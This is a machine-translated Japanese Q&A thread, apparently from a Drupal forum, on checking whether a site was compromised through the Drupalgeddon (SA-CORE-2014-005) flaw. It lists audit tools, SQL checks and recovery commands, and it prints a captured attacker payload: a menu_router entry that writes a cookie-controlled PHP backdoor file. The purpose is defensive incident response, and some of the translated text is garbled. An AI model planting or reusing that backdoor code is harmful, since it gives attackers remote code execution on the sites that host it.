Drupal SA-CORE-2014-005-サーバー/サイトが侵害されたかどうかを確認する方法は？
Drupal SA-CORE-2014-005エクスプロイトを解決するパッチ方法を使用してすべてのサイトを更新しました。昨日、ロシアのIP侵入者からの誰かがいるという報告を読んだだけですdrupalサイト。
https://www.drupal.org/SA-CORE-2014-005
私の主な懸念は今です：
- 自分のサイトが構成されているかどうかを確認するにはどうすればよいですか？
- 私のサイトが被害者であるかどうかを検出するには、Apacheアクセスログで何を検索すればよいですか？
- これまでのところ、これらのハッカーは構成されたサイトに対して何をしていますか？
以下は、管理者権限を持つユーザーをチェックするためにサイトDBに対して実行できるSQLクエリと、10月15日以降にサイトにアクセスしたSQLクエリです。
この記事を読んでいて、Drupal 7のサイトをチェックして、エクスプロイトが上陸してから1か月以上経過している場合、サイトはすでにハッキングされている可能性が高いです。攻撃が開始される前のバックアップを復元し、そこから作業することをお勧めします。
SA-CORE-2014-005に関するFAQ があります。
サイトが危険にさらされているかどうかを確認するにはどうすればよいですか？
サイトが侵害されているかどうかをすばやく確認する1つの方法は、Drupalgeddon drushコマンドを使用することです。
~/.drushを使用してdrush dl drupalgeddonにインストールします
次に、drush drupalgeddon-testを使用してテストします。 Drushエイリアスはこれを簡単かつ迅速にします。
このツールはエクスプロイトされたサイトを確認できますが、サイトがエクスプロイトされていないことを保証できません。攻撃が始まる前にアップグレードしない限り、ここには「正常な健康診断書」はありません。
サイト監査モジュールには、Drupalgeddonからのチェックの一部が含まれており、さらに多くの有用な入力を提供します。私はそれを強くお勧めします。 （編集：彼らは一緒に働く-超ニース！）
Security ReviewはDrupalgeddon攻撃をチェックしませんが、ツールベルトに入れておく価値があります。
サイトのコードベースがwwwユーザーに書き込み可能である場合は、ハッキングされたモジュールを使用して、変更されたコードをさらに確認できます。このモジュールは、その名前だけでは考えていることを実行しない場合があります:)
侵害されたすべてのサイトを特定する特定の方法はありませんが、これらのツールは、最も一般的な兆候を特定するのに役立ちます。
私のサイトが被害者であるかどうかを検出するには、Apacheアクセスログで何を検索すればよいですか？
アクセスログには、多くのPOSTリクエストが今までに含まれます。バグの前にすべての投稿データをログに記録するという異常な手順を踏まなかった場合を除いて、情報がわからない可能性があります。これらのうちどれが悪意のあるものでしたか。
これまでのところ、これらのハッカーは侵害されたサイトに対して何をしていますか？
多くの人が、彼らのサイトがハッカーによってパッチされていると報告しています！攻撃者としては、これは理にかなっています。next攻撃者によって、新しくハイジャックされたサイトがあなたの下から吹き飛ばされたくない場合:)
それ以外は、私は推測サイトを使用して、そこにある貴重なデータを収集し（信用を取得し、エクスプロイト後にトランザクションの詳細を持ち上げる可能性があります）、退屈なことをしますスパムを送信したり、控えめなボットネットスレーブとして動作したりします。ああ、そして攻撃者のハイジャックされた帝国をさらに拡大するDrupalサイト（申し訳ありませんが、ハッキングされたサイトはありません）。
一般的な攻撃のチェックには、次のものがあります（これは完全なリストではありませんが、これまでに確認されている攻撃の一部です）。
- ユーザー1アカウントをチェックして、ユーザー名、電子メールアドレス、またはパスワードが想定どおりであることを確認します。また、可能であれば、高レベルの権限を持つ他のユーザーアカウントも確認してください。
- 疑わしいと思われる新しいユーザーアカウントを確認します。
- 新しい役割や名前が変更された役割など、システム上の役割への変更を確認します。
- 権限の変更を確認します。これの最も重要な側面は、匿名ユーザーの役割（または誰もが自分でサインアップして取得できる他の役割）が変更されていないことを確認することです。
- 悪意のあるコードを含む可能性のある新しいカスタムブロックを確認します。
- 悪意のあるコードを含む可能性のある新しいカスタムノードを確認します。
- ファイルシステム上に存在してはならないファイルを確認します。 git statusまたはsvn stを実行して、新しいファイルが存在するかどうかを確認できるため、バージョン管理を使用する場合、これは簡単です。
- 悪意のあるファイルがアップロードされている場合は、アクセスログをチェックして、慣れていない奇妙なファイル名にヒットしていないかどうかを確認できます。
メニュールーターのデータベーステーブルで悪意のあるエントリを確認してください。たとえば（drupal.orgのdrupalgeddon module/drushプラグインには、このテーブルをより完全にチェックするための優れたスクリプトがあります）：
SELECT * FROM menu_router WHERE access_callback = 'file_put_contents';
また、メニュールーターテーブルを参照して、奇妙なエントリを探すこともできます。
ハッカーがやろうとしていることは次のとおりです。
- Phpスクリプトファイルをサイトに配置し、ブラウザでそれらを実行して実行できるようにします。これらのスクリプトは、さまざまな悪意のある行為を行う可能性があります。これは、悪意のあるメニュールーターエントリを追加することで実現されます。
- 管理者ユーザーアカウントを作成して、サイトに悪いことをしたり、サイトを乗っ取ったりするために使用します。
- ユーザー1のメールアドレスを変更して、ユーザーがそのアカウントのパスワードをリセットして引き継げるようにします。
- 一般公開されているユーザーロールの権限を変更します。
- ブロック/ノードなどを追加します。悪意のあるコードが含まれている可能性があります。 PHPフィルターを有効にしている場合、これはさらに問題になります。
残念ながら、攻撃者がデータベースに対して実行できることは非常に多いため、可能性の完全なリストを提供することはかなり困難です。彼らはあなたのサイトを彼らにコントロールさせようとすることをしたり、あなたのサイトを壊してデータベースのテーブルやカラムを落としたりすることができます。
彼らは、サイト名などを変更するなど、サイト構成に非常に小さな変更を加えることさえできますが、これは世界の終わりではありませんが、依然として問題があります。
基本的に、SQLコマンドを実行することによってデータベースで実行できることは何でも、攻撃者は理論的に実行できます。
Chris Burgessの回答で言及されているすべてのモジュールは、これらのことを確認するのに非常に役立ちます。
私はdrupal.orgのアドバイスに従っていくと思います " 10月15日午後11時（UTC）より前に更新またはパッチを適用しない限り、すべてのDrupal 7 Webサイトが侵害されたという前提の下で続行する必要があります。発表から7時間後 。 "。 Bevan がこのように述べた コメント "更新またはパッチ適用Drupalはバックドアを修正しませんDrupalを更新またはパッチする前に攻撃者がインストールした」
Bevan はまた、次の 感染した可能性があるかどうか、および回復方法と防止方法を分析するのに役立つワークフローチャート）を作成しました 。ただし、ワークフローの最新バージョンを確実に入手できるように、彼は 元の記事 にアクセスするように全員に依頼します。また、Acquiaは、Acquia Cloudで経験した攻撃とパターンについて興味深い 記事 を作成します
引用元： https://www.drupal.org/node/2357241#comment-9258955
これは、menu_routerテーブルのaccess_callback列に挿入されるファイルの例です。
a:2:{i:0;s:22:"modules/image/vzoh.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}
ご覧のとおり、ファイルmodules/image/vzoh.phpを作成しようとしていますが、これらのディレクトリ内には読み取り権限しかないため、phpは失敗します。
drupalディレクトリ： https://www.drupal.org/node/2357241#comment-9260017
私がしたことは次のコマンドを実行することでした：
ack --type = php 'php\$ form'> hacked_searched_php_form1.txt
==================
引用元： http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon
ライブサーバーで変更されたファイルの表示：git status
Menu_routerを介したコード実行の試みを探す：select * from menu_router where access_callback = 'file_put_contents'
ライブサーバー上にあり、バージョン管理されていないファイルを表示：diff -r docroot repo | grep docroot | grep 'docrootのみ'
PHP filesディレクトリ内のファイルを検索：find。-path "* php"
ユーザーがサイトにログインしてから最後のページにアクセスするまでの時間を確認する：（s.timestamp-u.login）/ 60/60/24 AS days_since_login、u.uid from sessions s inner join users u on s.uid = u.uid;
あなたが妥協したかどうかを知るための非常に良いコマンドのリスト。
http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon
Commands that help with auditing:
Showing files that have changed on the live server:
?
1
git status
Looking for code execution attempts via menu_router:
?
1
select * from menu_router where access_callback = 'file_put_contents'
Another possible code execution attempt via menu_router:
?
1
select * from menu_router where access_callback = 'assert';
Showing which files are on the live server and not in version control:
?
1
diff -r docroot repo | grep 'Only in docroot'
Looking for PHP files in the files directory:
?
1
find . -path "*php"
Looking for additional roles and users:
?
1
2
select * from role
select * from users_roles where rid=123
Checking the amount of time between when a user logged into your site and their most recent page visit:
?
1
select (s.timestamp - u.login) / 60 / 60 / 24 AS days_since_login, u.uid from sessions s inner join users u on s.uid = u.uid;
Commands that can help with recovery:
Apply the patch. Hotfix: (SA-CORE-2014-005)
?
1
curl https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch | patch -p1
End active sessions, i.e log everyone out.
?
1
truncate table sessions;
Updating passwords:
?
1
update users set pass = concat('XYZ', sha(concat(pass, md5(Rand()))));